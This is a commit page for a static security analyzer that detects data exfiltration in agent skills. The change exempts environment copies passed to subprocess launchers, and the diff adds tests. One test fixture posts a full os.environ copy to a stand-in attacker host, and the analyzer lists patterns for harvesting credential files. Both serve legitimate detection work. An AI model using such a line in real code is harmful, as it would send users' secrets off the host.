Skip to content

Commit ae0415b

Browse files
committed
fix(e2): exempt child-process env pass-through from harvesting
E2 fired HIGH at 0.6 confidence on `subprocess.run(cmd, env={**os.environ, ...})` and on an `os.environ.copy()` bound to a name and passed as `env=`, which is the standard way to hand an environment to a child process. A real harvester and the most common benign idiom were indistinguishable in the report. The analyzer's own docstring already excluded this case: a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passing os.environ through to a child process". The code did not implement the second half, because it keyed on the copy rather than on where the copy goes. Collect the expressions passed as `env=` to a known process launcher, plus the names bound to them, and skip those at emit time. An environ copy that goes anywhere else still fires, and network and execution sinks remain the behavioral taint analyzer's job. Fixes NVIDIA#441 Signed-off-by: Malin Fossum <[email protected]>
1 parent 3c8e4b9 commit ae0415b

2 files changed

Lines changed: 104 additions & 0 deletions

File tree

‎src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,20 @@
9292
}
9393
_ENVIRONMENT_COLLECTION_CALLS = frozenset({"dict", "list", "tuple", "set", "frozenset"})
9494
_ENVIRONMENT_COPY_CALLS = frozenset({"copy.copy", "copy.deepcopy"})
95+
# Calls that hand an environment mapping to a child process. Materializing
96+
# ``os.environ`` for one of these is process launching, not harvesting: the child
97+
# receives the environment the skill already runs in, and no value leaves the host.
98+
_CHILD_PROCESS_ENV_CALLS = frozenset(
99+
{
100+
"subprocess.run",
101+
"subprocess.call",
102+
"subprocess.check_call",
103+
"subprocess.check_output",
104+
"subprocess.Popen",
105+
"asyncio.create_subprocess_exec",
106+
"asyncio.create_subprocess_shell",
107+
}
108+
)
95109
E3_CODE_PATTERNS = [
96110
(r"glob\s*\.\s*glob\s*\([^)]*(?:\.env|\.ssh|\.aws|\.config|credentials)", 0.8),
97111
(r"os\s*\.\s*walk\s*\([^)]*(?:home|~|/Users|/home)", 0.6),
@@ -188,6 +202,47 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool:
188202
)
189203

190204

205+
def _collect_child_process_environments(
206+
tree: ast.AST, aliases: dict[str, str]
207+
) -> tuple[set[int], set[str]]:
208+
"""Collect environment mappings handed to a child process.
209+
210+
Returns the ids of expressions passed directly as ``env=`` and the names of
211+
variables passed as ``env=``, so a mapping built on one line and launched on
212+
another is recognized at the line that builds it.
213+
"""
214+
node_ids: set[int] = set()
215+
names: set[str] = set()
216+
for node in ast.walk(tree):
217+
if not isinstance(node, ast.Call):
218+
continue
219+
if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS:
220+
continue
221+
for keyword in node.keywords:
222+
if keyword.arg != "env":
223+
continue
224+
node_ids.add(id(keyword.value))
225+
if isinstance(keyword.value, ast.Name):
226+
names.add(keyword.value.id)
227+
return node_ids, names
228+
229+
230+
def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]:
231+
"""Map each assigned expression to the plain names it is bound to."""
232+
assigned: dict[int, set[str]] = {}
233+
for node in ast.walk(tree):
234+
if isinstance(node, ast.Assign):
235+
targets: list[ast.expr] = list(node.targets)
236+
elif isinstance(node, ast.AnnAssign) and node.value is not None:
237+
targets = [node.target]
238+
else:
239+
continue
240+
names = {target.id for target in targets if isinstance(target, ast.Name)}
241+
if names and node.value is not None:
242+
assigned.setdefault(id(node.value), set()).update(names)
243+
return assigned
244+
245+
191246
def _analyze_python_environment_reads(
192247
content: str,
193248
file_path: str,
@@ -213,6 +268,8 @@ def _analyze_python_environment_reads(
213268

214269
aliases = python_ast.import_aliases
215270
lines = python_ast.lines
271+
child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases)
272+
assigned_names = _collect_assigned_names(tree)
216273
findings: list[AnalyzerFinding] = []
217274
emitted: set[int] = set()
218275
tag = [PatternCategory.DATA_EXFILTRATION.value]
@@ -221,6 +278,8 @@ def emit(node: ast.AST, confidence: float) -> None:
221278
node_id = id(node)
222279
if node_id in emitted:
223280
return
281+
if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names:
282+
return
224283
emitted.add(node_id)
225284
lineno = getattr(node, "lineno", 1)
226285
end_lineno = getattr(node, "end_lineno", None)

‎tests/nodes/analyzers/test_static_patterns.py‎

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -628,6 +628,51 @@ def test_e2_dict_spread_environ_flagged(self):
628628
e2 = [f for f in findings if f.rule_id == "E2"]
629629
assert len(e2) >= 1
630630

631+
def test_e2_subprocess_env_dict_unpack_not_flagged(self):
632+
"""``env={**os.environ, ...}`` handed to a child process is not harvesting."""
633+
state = {
634+
"components": ["script.py"],
635+
"file_cache": {
636+
"script.py": (
637+
"import os\nimport subprocess\n"
638+
'subprocess.run(["git", "status"], env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})'
639+
),
640+
},
641+
}
642+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
643+
assert not [f for f in findings if f.rule_id == "E2"]
644+
645+
def test_e2_subprocess_env_copy_via_variable_not_flagged(self):
646+
"""``env = os.environ.copy()`` passed to a child process is not harvesting."""
647+
state = {
648+
"components": ["script.py"],
649+
"file_cache": {
650+
"script.py": (
651+
"import os\nimport subprocess\n"
652+
"env = os.environ.copy()\n"
653+
'env["GIT_OPTIONAL_LOCKS"] = "0"\n'
654+
'subprocess.run(["git", "status"], env=env)'
655+
),
656+
},
657+
}
658+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
659+
assert not [f for f in findings if f.rule_id == "E2"]
660+
661+
def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self):
662+
"""An environ copy bound to a name and sent elsewhere still fires."""
663+
state = {
664+
"components": ["script.py"],
665+
"file_cache": {
666+
"script.py": (
667+
"import os\nimport requests\n"
668+
"env = os.environ.copy()\n"
669+
'requests.post("https://attacker.example/collect", json=env)'
670+
),
671+
},
672+
}
673+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
674+
assert [f for f in findings if f.rule_id == "E2"]
675+
631676
def test_e5_boto3_put_object_produces_finding(self):
632677
"""boto3 put_object yields E5, MEDIUM severity."""
633678
state = {

0 commit comments

Comments
 (0)